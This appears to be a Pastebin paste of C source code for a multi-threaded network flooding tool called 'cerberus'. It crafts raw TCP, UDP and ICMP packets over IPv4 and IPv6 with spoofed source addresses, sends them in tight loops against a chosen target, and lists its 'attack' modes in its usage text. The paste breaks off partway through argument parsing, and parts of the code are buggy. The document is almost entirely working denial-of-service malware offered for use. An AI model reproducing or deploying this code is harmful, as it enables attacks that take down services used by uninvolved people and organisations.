SHARE
TWEET

shit.c

wtfbbq Mar 20th, 2015 (edited) 636 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #ifndef _BSD_SOURCE
  5. #define _BSD_SOURCE
  6. #endif
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10. #include <netdb.h>
  11. #include <sys/types.h>
  12. #include <netinet/in_systm.h>
  13. #include <sys/socket.h>
  14. #include <string.h>
  15. #include <time.h>
  16. #include <signal.h>
  17. #ifndef __USE_BSD
  18. #define __USE_BSD
  19. #endif
  20. #ifndef __FAVOR_BSD
  21. #define __FAVOR_BSD
  22. #endif
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/ip6.h>
  26. #include <netinet/ip_icmp.h>
  27. #include <netinet/icmp6.h>
  28. #include <netinet/tcp.h>
  29. #include <netinet/udp.h>
  30. #include <arpa/inet.h>
  31. #include <pthread.h>
  32.  
  33. #define INET_ADDR 16
  34. #define INET6_ADDR 46
  35.  
  36. #define TCP_FIN 1
  37. #define TCP_SYN 2
  38. #define TCP_RST 4
  39. #define TCP_PSH 8
  40. #define TCP_ACK 16
  41. #define TCP_URG 32
  42. #define TCP_ECE 64
  43. #define TCP_CWR 128
  44. #define TCP_NOF 256
  45. #define TCP_FRG 512
  46.  
  47. #define TCP_BMB 1024
  48. #define UDP_BMB 2048
  49. #define RAW_BMB 4096
  50.  
  51. #define UDP_CFF 8192
  52. #define ICMP_ECHO_G 16384
  53.  
  54. #define ICMP_HDRLEN 8
  55. /* TH_NOF */
  56. #define TH_NOF 0x0
  57.  
  58. #ifdef LINUX
  59. #define FIX(x) htons(x)
  60. #else
  61. #define FIX(x) (x)
  62. #endif
  63.  
  64. void *send_tcp(void* arg);
  65. void *send_udp(void* arg);
  66. void *send_icmp(void* arg);
  67. void *send_bomb(void* arg);
  68. void handle_exit();
  69. unsigned short in_cksum(unsigned short *addr, int len);
  70. unsigned short xchecksum(unsigned short *buffer, int size);
  71. char *class2ip(const char *class);
  72. char *class2ip6(const char *class);
  73. void inject(struct ip *ip, u_char p, u_char len);
  74. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  75. u_long lookup(const char *host);
  76. int main(int argc, char *argv[]);
  77.  
  78. #define MAX_THREADS 32768
  79.  
  80. pthread_t attack_thread[MAX_THREADS];
  81.  
  82. struct thread_data {
  83. int initialized; // valid thread?
  84. int flag4, flag6; // v4 or v6
  85. int start;
  86. int packets;
  87. unsigned int timeout; // attack timeout
  88. int thread;
  89. unsigned int bombsize; // size of connect bomb
  90. unsigned int datasize; // size of tcp data after header
  91. unsigned int window_size; // window size
  92. int socket; // rawsock
  93. int a_flags; // a_flags
  94. struct sockaddr_in destination4;
  95. struct sockaddr_in6 destination6;
  96. u_long dstaddr;
  97. u_char th_flags;
  98. int d_lport;
  99. int d_hport;
  100. int s_lport;
  101. int s_hport;
  102. char *src_class;
  103. char *dst_class;
  104. char SrcIP4[INET_ADDR];
  105. char SrcIP6[INET6_ADDR];
  106. char DestIP4[INET_ADDR];
  107. char DestIP6[INET6_ADDR];
  108. };
  109. struct thread_data thread_data_array[MAX_THREADS];
  110.  
  111. void handle_exit () {
  112. int packets;
  113. packets = thread_data_array[1].packets + thread_data_array[2].packets + thread_data_array[4].packets +
  114. thread_data_array[8].packets + thread_data_array[16].packets
  115. + thread_data_array[32].packets + thread_data_array[64].packets + thread_data_array[128].packets +
  116. thread_data_array[256].packets
  117. + thread_data_array[512].packets + thread_data_array[1024].packets + thread_data_array[2048].packets +
  118. thread_data_array[4096].packets
  119. + thread_data_array[8192].packets + thread_data_array[16384].packets;
  120. printf ("Packeting completed, %d total, %d seconds, %d pps\n", packets, (int) time (NULL) -
  121. thread_data_array[0].start, packets / ((int) time (NULL) - thread_data_array[0].start));
  122. exit (0);
  123. }
  124.  
  125. struct pseudo_hdr {
  126. u_long saddr, daddr; /* source and dest address */
  127. u_char mbz, ptcl; /* zero and protocol */
  128. u_short tcpl; /* tcp length */
  129. };
  130. struct checksum {
  131. struct pseudo_hdr pseudo;
  132. struct tcphdr tcp;
  133. };
  134.  
  135. unsigned short
  136. in_cksum(unsigned short *addr, int len) {
  137. int nleft = len;
  138. int sum = 0;
  139. unsigned short *w = addr;
  140. unsigned short answer = 0;
  141. while (nleft > 1) {
  142. sum += *w++;
  143. nleft -= 2;
  144. }
  145. if (nleft == 1) {
  146. *(unsigned char *) (&answer) = *(unsigned char *)w;
  147. sum += answer;
  148. }
  149. sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  150. sum += (sum >> 16); /* add carry */
  151. answer = ~sum; /* truncate to 16 bits */
  152. return answer;
  153. }
  154.  
  155. unsigned short
  156. xchecksum(unsigned short *buffer, int size) {
  157. unsigned int sum = 0;
  158. __asm__ __volatile__(
  159. "movl (%1), %0\n"
  160. "subl $4, %2\n"
  161. "jbe 2f\n"
  162. "addl 4(%1), %0\n"
  163. "adcl 8(%1), %0\n"
  164. "adcl 12(%1), %0\n"
  165. "1:\n"
  166. "adcl 16(%1), %0\n"
  167. "lea 4(%1), %1\n"
  168. "decl %2\n"
  169. "jne 1b\n"
  170. "adcl $0, %0\n"
  171. "movl %0, %2\n"
  172. "shrl $16, %0\n"
  173. "addw %w2, %w0\n"
  174. "adcl $0, %0\n"
  175. "notl %0\n"
  176. "2:\n"
  177. : "=r" (sum), "=r" (buffer), "=r" (size)
  178. : "1" (buffer), "2" (size)
  179. );
  180. return(sum);
  181. }
  182. char *src_class, *dst_class = NULL;
  183.  
  184. char *class2ip(const char *class) {
  185. static char ip[INET_ADDR];
  186. int i, j;
  187. for (i = 0, j = 0; class[i] != '\0'; ++i)
  188. if (class[i] == '.')
  189. ++j;
  190. switch (j) {
  191. case 0:
  192. sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1, (int) random() % 255+1);
  193. break;
  194. case 1:
  195. sprintf(ip, "%s.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1);
  196. break;
  197. case 2:
  198. sprintf(ip, "%s.%d", class, (int) random() % 255+1);
  199. break;
  200. default: strncpy(ip, class, INET_ADDR);
  201. break;
  202. }
  203. return ip;
  204. }
  205.  
  206. char *class2ip6(const char *class) {
  207. static char ip[INET6_ADDR];
  208. uint16_t n;
  209. int x, y;
  210. for (x = 0, y = 0; class[x] != '\0'; ++x)
  211. if (class[x] == ':')
  212. ++y;
  213. int i;
  214. for (i = 0; i < 7; i++) {
  215. char hex[3][i];
  216. n = mrand48(); // #1
  217. n = rand(); // #2
  218. FILE * f = fopen("/dev/urandom", "rb");
  219. fread(&n, sizeof(uint16_t), 1, f); // #3
  220. sprintf(hex[i], "%04X", n);
  221. if(i==0)
  222. strcpy(ip, class);
  223. strcat(ip, hex[i]);
  224. if(i<6)
  225. strcat(ip, ":");
  226. }
  227. return ip;
  228. }
  229.  
  230. void
  231. inject(struct ip *ip, u_char p, u_char len) {
  232. ip->ip_hl = 5;
  233. ip->ip_v = 4;
  234. ip->ip_p = p;
  235.  
  236. ip->ip_tos = 0x08; /* 0x08 */
  237. ip->ip_id = random();
  238. ip->ip_len = len;
  239. ip->ip_off = 0;
  240. ip->ip_ttl = 255;
  241. ip->ip_dst.s_addr = thread_data_array[0].dst_class != NULL ? inet_addr(class2ip(thread_data_array[0].dst_class))
  242. : thread_data_array[0].dstaddr;
  243. ip->ip_src.s_addr = thread_data_array[0].src_class != NULL ? inet_addr(class2ip(thread_data_array[0].src_class))
  244. : random();
  245. thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  246. }
  247.  
  248. void
  249. inject6(struct ip6_hdr *ip, u_char p, u_char len) {
  250. ip->ip6_ctlun.ip6_un1.ip6_un1_flow = htonl ((6 << 28) | (0 << 20) | 0);
  251. ip->ip6_ctlun.ip6_un1.ip6_un1_plen = htons( 8 + len );
  252. ip->ip6_ctlun.ip6_un1.ip6_un1_nxt = p;
  253. ip->ip6_ctlun.ip6_un1.ip6_un1_hlim = 255;
  254. inet_pton (AF_INET6, thread_data_array[0].DestIP6, &ip->ip6_dst);
  255. inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  256. thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  257. }
  258.  
  259. u_long lookup(const char *host) {
  260. struct hostent *hp;
  261. if ( (hp = gethostbyname(host)) == NULL) {
  262. perror("gethostbyname");
  263. exit(-1);
  264. }
  265. return *(u_long *)hp->h_addr;
  266. }
  267.  
  268. void *send_tcp(void* arg) {
  269. struct thread_data *param2 = arg;
  270. struct checksum checksum;
  271. struct packet {
  272. struct ip ip;
  273. struct tcphdr tcp;
  274. char buf[param2->datasize];
  275. } packet;
  276. struct packet6 {
  277. struct ip6_hdr ip;
  278. struct tcphdr tcp;
  279. char buf[param2->datasize];
  280. } packet6;
  281. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  282. //int i;
  283. //for (i = sizeof(packet) + 1; i < (param2->datasize); i++)
  284. //{
  285. // packet.buf[i] = '\x00';
  286. //}
  287. signal(SIGALRM, handle_exit);
  288. alarm(thread_data_array[0].timeout);
  289. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  290. do {
  291. /* Filling IP header */
  292. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  293. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof(packet)));
  294. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  295. /* Filling cksum pseudo header */
  296. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  297. checksum.pseudo.mbz = 0;
  298. checksum.pseudo.ptcl = IPPROTO_TCP;
  299. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  300. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  301. /* Filling TCP header */
  302. packet.tcp.th_win = thread_data_array[0].window_size == 0 ? htons(rand()%(1-65535)+1) :
  303. htons(thread_data_array[0].window_size);
  304. packet.tcp.th_seq = random();
  305. if (param2->th_flags == TH_ACK || param2->a_flags == TCP_FRG)
  306. packet.tcp.th_ack = random();
  307. else
  308. packet.tcp.th_ack = 0;
  309. if(param2->a_flags == TCP_FRG) {
  310. packet.tcp.th_flags = (rand()%(TH_ACK-TH_FIN))+TH_FIN;
  311. packet.tcp.th_off = sizeof(packet.tcp) / 4;
  312. } else {
  313. packet.tcp.th_flags = param2->th_flags;
  314. packet.tcp.th_off = 5;
  315. }
  316. if (param2->th_flags == TH_URG || param2->a_flags == TCP_FRG)
  317. packet.tcp.th_urp = htons(sizeof(packet));
  318. else
  319. packet.tcp.th_urp = 0;
  320. packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
  321. random () :
  322. htons(thread_data_array[0].s_lport + (random() %
  323. (thread_data_array[0].s_hport - thread_data_array[0].s_lport +
  324. 1)));
  325. packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
  326. random () :
  327. htons(thread_data_array[0].d_lport + (random() %
  328. (thread_data_array[0].d_hport - thread_data_array[0].d_lport +
  329. 1)));
  330. checksum.tcp = packet.tcp;
  331. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  332. param2->packets++;
  333. } while (sendto(param2->socket, &packet, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4,
  334. sizeof(thread_data_array[0].destination4)) );
  335. }
  336. if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  337. do {
  338. /* Filling IP header */
  339. memset(&packet6, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  340. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  341. /* Filling cksum pseudo header */
  342. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  343. checksum.pseudo.mbz = 0;
  344. checksum.pseudo.ptcl = IPPROTO_TCP;
  345. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  346. /* Filling TCP header */
  347. packet6.tcp.th_win = htons(65535);
  348. packet6.tcp.th_seq = random();
  349. if (param2->th_flags == TH_ACK || param2->a_flags == TCP_FRG)
  350. packet.tcp.th_ack = random();
  351. else
  352. packet.tcp.th_ack = 0;
  353. if(param2->a_flags == TCP_FRG) {
  354. packet.tcp.th_flags = (rand()%(TH_ACK-TH_FIN))+TH_FIN;
  355. packet.tcp.th_off = sizeof(packet.tcp) / 4;
  356. } else {
  357. packet.tcp.th_flags = param2->th_flags;
  358. packet.tcp.th_off = 5;
  359. }
  360. if (param2->th_flags == TH_URG || param2->a_flags == TCP_FRG)
  361. packet.tcp.th_urp = htons(sizeof(packet));
  362. else
  363. packet.tcp.th_urp = 0;
  364. packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
  365. random () :
  366. htons(thread_data_array[0].s_lport + (random() %
  367. (thread_data_array[0].s_hport - thread_data_array[0].s_lport +
  368. 1)));
  369. packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
  370. random () :
  371. htons(thread_data_array[0].d_lport + (random() %
  372. (thread_data_array[0].d_hport - thread_data_array[0].d_lport +
  373. 1)));
  374. checksum.tcp = packet.tcp;
  375. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  376. param2->packets++;
  377. } while (sendto(param2->socket, &packet6.tcp, (sizeof packet6), 0, (struct sockaddr
  378. *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  379. }
  380. return 0;
  381. }
  382.  
  383. void *send_udp(void* arg) {
  384. struct thread_data *param2 = arg;
  385. struct packet {
  386. struct ip ip;
  387. struct udphdr udp;
  388. char buf[param2->datasize];
  389. } packet;
  390. struct packet6 {
  391. struct ip6_hdr ip;
  392. struct udphdr udp;
  393. char buf[param2->datasize];
  394. } packet6;
  395. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  396. //int i;
  397. //for (i = sizeof(packet) + 1; i < (param2->datasize); i++)
  398. //{
  399. //packet.buf[i] = '\x00';
  400. //}
  401. signal(SIGALRM, handle_exit);
  402. alarm(thread_data_array[0].timeout);
  403. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  404. do {
  405. /* Filling IP header */
  406. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.udp));
  407. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  408. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  409. /* Filling UDP header */
  410. packet.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
  411. random () :
  412. htons(thread_data_array[0].s_lport + (random() %
  413. (thread_data_array[0].s_hport - thread_data_array[0].s_lport +
  414. 1)));
  415. packet.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
  416. random () :
  417. htons(thread_data_array[0].d_lport + (random() %
  418. (thread_data_array[0].d_hport - thread_data_array[0].d_lport +
  419. 1)));
  420. packet.udp.uh_ulen = htons(sizeof packet.udp);
  421. packet.udp.uh_sum = 0;
  422. packet.udp.uh_sum = xchecksum((void *)&packet, sizeof(packet));
  423. param2->packets++;
  424. } while (sendto(param2->socket, &packet, (sizeof packet), 0, (struct sockaddr
  425. *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)) );
  426. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  427. do {
  428. /* Filling IP header */
  429. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.udp));
  430. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  431. /* Filling UDP header */
  432. packet6.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
  433. random () :
  434. htons(thread_data_array[0].s_lport + (random() %
  435. (thread_data_array[0].s_hport - thread_data_array[0].s_lport +
  436. 1)));
  437. packet6.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
  438. random () :
  439. htons(thread_data_array[0].d_lport + (random() %
  440. (thread_data_array[0].d_hport - thread_data_array[0].d_lport +
  441. 1)));
  442. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  443. packet6.udp.uh_sum = 0;
  444. packet6.udp.uh_sum = xchecksum((void *)&packet6, sizeof(packet6));
  445. param2->packets++;
  446. } while (sendto(param2->socket, &packet6, (sizeof packet6), 0, (struct sockaddr
  447. *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  448. }
  449. return 0;
  450. }
  451.  
  452. void *send_icmp(void* arg) {
  453. struct thread_data *param2 = arg;
  454. struct packet {
  455. struct ip ip;
  456. struct icmp icmp;
  457. } packet;
  458. struct packet6 {
  459. struct ip6_hdr ip;
  460. struct icmp6_hdr icmp;
  461. } packet6;
  462. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  463. signal(SIGALRM, handle_exit);
  464. alarm(thread_data_array[0].timeout);
  465. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  466. do {
  467. /* Filling IP header */
  468. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.icmp));
  469. inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  470. packet.ip.ip_sum = xchecksum((void *)&packet.ip, sizeof(packet.ip));
  471. /* Filling ICMP header */
  472. packet.icmp.icmp_type = ICMP_ECHO;
  473. packet.icmp.icmp_code = 0;
  474. packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
  475. packet.icmp.icmp_id = random() % 255;
  476. packet.icmp.icmp_seq = random() % 255;
  477. param2->packets++;
  478. } while (sendto(param2->socket, &packet, (sizeof packet), 0, (struct sockaddr
  479. *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)) );
  480. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  481. do {
  482. /* Filling IP header */
  483. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.icmp));
  484. inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  485. /* Filling ICMP header */
  486. packet6.icmp.icmp6_type = ICMP6_ECHO_REQUEST;
  487. packet6.icmp.icmp6_code = 0;
  488. packet6.icmp.icmp6_cksum = 0;
  489. packet6.icmp.icmp6_cksum = xchecksum((void *)&packet6, sizeof(packet6));
  490. packet6.icmp.icmp6_id = random();
  491. packet6.icmp.icmp6_seq = random();
  492. param2->packets++;
  493. } while (sendto(param2->socket, &packet6.icmp, (sizeof packet6), 0, (struct sockaddr
  494. *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  495. }
  496. return 0;
  497. }
  498.  
  499. void *send_bomb(void* arg) {
  500. struct thread_data *param2 = arg;
  501.  
  502. struct checksum checksum;
  503. struct packet {
  504. struct ip ip;
  505. struct tcphdr tcp;
  506. struct udphdr udp;
  507. char buf[param2->bombsize];
  508. } packet;
  509. struct packet6 {
  510. struct ip6_hdr ip;
  511. struct tcphdr tcp;
  512. struct udphdr udp;
  513. char buf[param2->bombsize];
  514. } packet6;
  515. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  516. if(param2->a_flags == RAW_BMB)
  517. param2->socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  518. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  519. if(param2->a_flags == RAW_BMB)
  520. param2->socket = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
  521. }
  522. int i;
  523. for (i = sizeof(packet) + 1; i < (param2->bombsize); i++) {
  524. packet.buf[i] = '\x00';
  525. }
  526. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  527. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  528. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  529. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  530. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  531. signal(SIGALRM, handle_exit);
  532. alarm(thread_data_array[0].timeout);
  533. do {
  534. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  535. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB) {
  536. /* Filling IP header */
  537. memset(&packet, 0, sizeof packet);
  538. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  539. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  540. /* Filling cksum pseudo header */
  541. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  542. checksum.pseudo.mbz = 0;
  543. if(param2->a_flags == TCP_BMB)
  544. checksum.pseudo.ptcl = IPPROTO_TCP;
  545. else if(param2->a_flags == RAW_BMB)
  546. checksum.pseudo.ptcl = IPPROTO_RAW;
  547. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  548. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  549. /* Filling TCP header */
  550. packet.tcp.th_win = htons(65535);
  551. packet.tcp.th_seq = random();
  552. packet.tcp.th_off = 5;
  553. //thread_data_array[0].destination4.sin_port = htons(113);
  554. checksum.tcp = packet.tcp;
  555. //packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  556. } else if(param2->a_flags == UDP_BMB) {
  557. /* Filling IP header */
  558. memset(&packet, 0, sizeof packet);
  559. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  560. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  561. /* Filling UDP header -> it fills itself like icmp */
  562. packet.udp.uh_ulen = htons(sizeof packet.udp);
  563. packet.udp.uh_sum = 0;
  564. }
  565. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  566. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB) {
  567. /* Filling IP header */
  568. memset(&packet6, 0, sizeof packet6);
  569. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  570. /* Filling cksum pseudo header */
  571. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  572. checksum.pseudo.mbz = 0;
  573. if(param2->a_flags == TCP_BMB)
  574. checksum.pseudo.ptcl = IPPROTO_TCP;
  575. else if(param2->a_flags == RAW_BMB) checksum.pseudo.ptcl = IPPROTO_RAW;
  576. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  577. /* Filling TCP header */
  578. packet6.tcp.th_win = htons(65535);
  579. packet6.tcp.th_seq = random();
  580. } else if(param2->a_flags == UDP_BMB) {
  581. /* Filling IP header */
  582. memset(&packet6, 0, sizeof packet6);
  583. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  584. /* Filling UDP header */
  585. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  586. packet6.udp.uh_sum = 0;
  587. }
  588. }
  589. param2->packets++;
  590. } while ( send(param2->socket, &packet, sizeof(packet), 0) );
  591. return 0;
  592. }
  593.  
  594. const char *banner_name = "\e[1;37m(\e[0m\e[0;31mcerberus\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mbloodbath\e[0m\e[1;37m)\e[0m";
  595. const char *banner_types = " [\e[4mTCP\e[0m - \e[4mICMP\e[0m - \e[4mUDP\e[0m]";
  596. const char *banner_version = " \e[4mv0.666\e[0m";
  597.  
  598. static void
  599. usage(const char *argv0) {
  600. printf("%s \n", banner_name);
  601. printf(" -U UDP attack                     \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  602. printf(" -I ICMP attack                    \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  603. printf(" -T TCP  attack                 \e[1;37m(\e[0m0:FIN   1: SYN\e[1;37m)\e[0m\n");
  604. printf("                                \e[1;37m(\e[0m2:RST   3:PUSH\e[1;37m)\e[0m\n");
  605. printf("                                \e[1;37m(\e[0m4:ACK   5: URG\e[1;37m)\e[0m\n");
  606. printf("                                \e[1;37m(\e[0m6:ECE   7: CWR\e[1;37m)\e[0m\n");
  607. printf("                                \e[1;37m(\e[0m8:NOF   9:FRAG\e[1;37m)\e[0m\n");
  608. printf(" -B BMB attack [type,size]     \e[1;37m[\e[0m0:TCP 1:UDP 2:RAW\e[1;37m]\e[0m\n");
  609. printf(" -h destination ip                 \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  610. printf(" -d destination class              \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  611. printf(" -s source class/ip                    \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  612. printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  613. printf(" -q source port range [start,end]      \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  614. printf(" -t timeout                        \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  615. printf(" -w window size [ 1-65535 ]            \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  616. printf("\e[1musage\e[0m: %s -4 -6 [-U -I -T -B -h -d -s -p -q -t]\n", argv0);
  617. exit(-1);
  618. }
  619.  
  620. int
  621. main(int argc, char *argv[]) {
  622. int i = 0, n;
  623. int on = 1;
  624. struct sockaddr_in DestAddress4;
  625. struct sockaddr_in6 DestAddress6;
  626. thread_data_array[0].a_flags = 0;
  627. thread_data_array[0].window_size = 0;
  628. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  629. thread_data_array[i].a_flags = 0;
  630. }
  631.  
  632. while ( (n = getopt(argc, argv, "46T:B:IUh:d:s:t:p:q:w:")) != -1) {
  633. char *p;
  634. unsigned int bombsize = 0;
  635. unsigned int datasize = 0;
  636. unsigned int window_size = 0;
  637. switch (n) {
  638. case '4':
  639. thread_data_array[0].flag4 = 1;
  640. break;
  641. case '6':
  642. thread_data_array[0].flag6 = 1;
  643. break;
  644. case 'T':
  645. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  646. datasize = 4;
  647. if(datasize == 0)
  648. datasize = atoi(p + 1);
  649. if(datasize > 4096)
  650. datasize = 4096;
  651. switch (atoi(optarg)) {
  652. case 0:
  653. thread_data_array[TCP_FIN].initialized = 1;
  654. thread_data_array[0].a_flags |= TCP_FIN;
  655. thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  656. thread_data_array[TCP_FIN].datasize = datasize;
  657. break;
  658. case 1:
  659. thread_data_array[TCP_SYN].initialized = 1;
  660. thread_data_array[0].a_flags |= TCP_SYN;
  661. thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  662. thread_data_array[TCP_SYN].datasize = datasize;
  663. break;
  664. case 2:
  665. thread_data_array[TCP_RST].initialized = 1;
  666. thread_data_array[0].a_flags |= TCP_RST;
  667. thread_data_array[TCP_RST].a_flags |= TCP_RST;
  668. thread_data_array[TCP_RST].datasize = datasize;
  669. break;
  670. case 3:
  671. thread_data_array[TCP_PSH].initialized = 1;
  672. thread_data_array[0].a_flags |= TCP_PSH;
  673. thread_data_array[TCP_PSH].a_flags |= TCP_PSH;
  674. thread_data_array[TCP_PSH].datasize = datasize;
  675. break;
  676. case 4:
  677. thread_data_array[TCP_ACK].initialized = 1;
  678. thread_data_array[0].a_flags |= TCP_ACK;
  679. thread_data_array[TCP_ACK].a_flags |= TCP_ACK;
  680. thread_data_array[TCP_ACK].datasize = datasize;
  681. break;
  682. case 5:
  683. thread_data_array[TCP_URG].initialized = 1;
  684. thread_data_array[0].a_flags |= TCP_URG;
  685. thread_data_array[TCP_URG].a_flags |= TCP_URG;
  686. thread_data_array[TCP_URG].datasize = datasize;
  687. break;
  688. case 6:
  689. thread_data_array[TCP_ECE].initialized = 1;
  690. thread_data_array[0].a_flags |= TCP_ECE;
  691. thread_data_array[TCP_ECE].a_flags |= TCP_ECE;
  692. thread_data_array[TCP_ECE].datasize = datasize;
  693. break;
  694. case 7:
  695. thread_data_array[TCP_CWR].initialized = 1;
  696. thread_data_array[0].a_flags |= TCP_CWR;
  697. thread_data_array[TCP_CWR].a_flags |= TCP_CWR;
  698. thread_data_array[TCP_CWR].datasize = datasize;
  699. break;
  700. case 8:
  701. thread_data_array[TCP_NOF].initialized = 1;
  702. thread_data_array[0].a_flags |= TCP_NOF;
  703. thread_data_array[TCP_NOF].a_flags |= TCP_NOF;
  704. thread_data_array[TCP_NOF].datasize = datasize;
  705. break;
  706. case 9:
  707. thread_data_array[TCP_FRG].initialized = 1;
  708. thread_data_array[0].a_flags |= TCP_FRG;
  709. thread_data_array[TCP_FRG].a_flags |= TCP_FRG;
  710. thread_data_array[TCP_FRG].datasize = datasize;
  711. break;
  712. case 10:
  713. thread_data_array[TCP_SYN].initialized = 1;
  714. thread_data_array[0].a_flags |= TCP_SYN;
  715. thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  716. thread_data_array[TCP_SYN].datasize = datasize;
  717. break;
  718. }
  719. break;
  720. case 'B':
  721. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  722. bombsize = 64;
  723. if(bombsize == 0)
  724. bombsize = atoi(p + 1);
  725. if(bombsize > 2048)
  726. bombsize = 2048;
  727. switch (atoi(optarg)) {
  728. case 0:
  729. thread_data_array[TCP_BMB].initialized = 1;
  730. thread_data_array[0].a_flags |= TCP_BMB;
  731. thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  732. thread_data_array[TCP_BMB].bombsize = bombsize;
  733. break;
  734. case 1:
  735. thread_data_array[UDP_BMB].initialized = 1;
